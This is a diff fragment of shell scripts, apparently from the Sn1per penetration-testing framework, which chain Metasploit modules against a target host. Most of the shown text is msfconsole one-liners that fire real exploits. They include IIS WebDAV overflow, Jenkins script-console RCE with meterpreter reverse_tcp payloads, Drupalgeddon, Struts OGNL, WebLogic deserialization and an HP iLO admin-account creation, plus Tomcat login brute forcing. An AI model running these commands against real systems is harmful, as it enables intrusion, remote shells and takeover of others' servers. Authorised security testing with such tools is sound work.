source $INSTALL_DIR/modes/sc0pe.sh
|
||||
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt"
|
||||
fi
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
loot
|
||||
exit
|
||||
fi
|
||||
13
modes/web.sh
13
modes/web.sh
|
|
@ -1,10 +1,10 @@
|
|||
# WEB MODE #############################################################################################################
|
||||
if [ "$MODE" = "web" ]; then
|
||||
if [ "$REPORT" = "1" ]; then
|
||||
if [ ! -z "$WORKSPACE" ]; then
|
||||
if [[ "$MODE" = "web" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
|
|
@ -14,8 +14,9 @@ if [ "$MODE" = "web" ]; then
|
|||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -1,174 +1,236 @@
|
|||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING HTTP PUT UPLOAD SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use scanner/http/http_put; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg SSL false; run; set PATH /uploads/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg SSL false; run; use scanner/http/webdav_website_content; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING MICROSOFT IIS WEBDAV ScStoragePathFromUrl OVERFLOW $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg SSL false; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING MANAGEENGINE DESKTOP CENTRAL RCE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/windows/http/manageengine_connectionid_write; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT ENUMERATION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use scanner/http/tomcat_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT MANAGER LOGIN BRUTEFORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING JENKINS ENUMERATION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use scanner/http/jenkins_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set TARGETURI /; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING JENKINS SCRIPT CONSOLE RCE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use multi/http/jenkins_script_console; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; setg SSL "$SSL"; set TARGET 0; run; set TARGETURI /; run; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set TARGET 1; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGET 2; set PAYLOAD linux/x64/meterpreter/reverse_tcp; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGETURI /; run; set TARGET 1; run; set TARGET 2; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING ELASTICSEARCH DYNAMIC SCRIPT JAVA INJECTION EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/elasticsearch/script_mvel_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING DRUPALGEDDON HTTP PARAMETER SQL INJECTION CVE-2014-3704 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING GLASSFISH ADMIN TRAVERSAL EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use scanner/http/glassfish_traversal; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/windows/http/badblue_passthru; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOITS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/htp/phpmyadmin_preg_replace; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT CVE-2017-8917 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING WORDPRESS REST API CONTENT INJECTION CVE-2017-5612 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use auxiliary/scanner/http/wordpress_content_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING ORACLE WEBLOGIC WLS-WSAT DESERIALIZATION RCE CVE-2017-10271 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS JAKARTA OGNL INJECTION CVE-2017-5638 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use multi/http/struts2_content_type_ognl; setg RHOST "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS 2 SHOWCASE OGNL RCE CVE-2017-9805 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/http/struts2_rest_xstream; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS 2 REST XSTREAM RCE CVE-2017-9791 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/http/struts2_code_exec_showcase; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/http/tomcat_jsp_upload_bypass; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING APACHE STRUTS 2 NAMESPACE REDIRECT OGNL INJECTION CVE-2018-11776 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/multi/http/struts2_namespace_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED CISCO ASA TRAVERSAL CVE-2018-0296 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use auxiliary/scanner/http/cisco_directory_traversal; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
msfconsole -q -x "use exploit/unix/webapp/drupal_drupalgeddon2; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
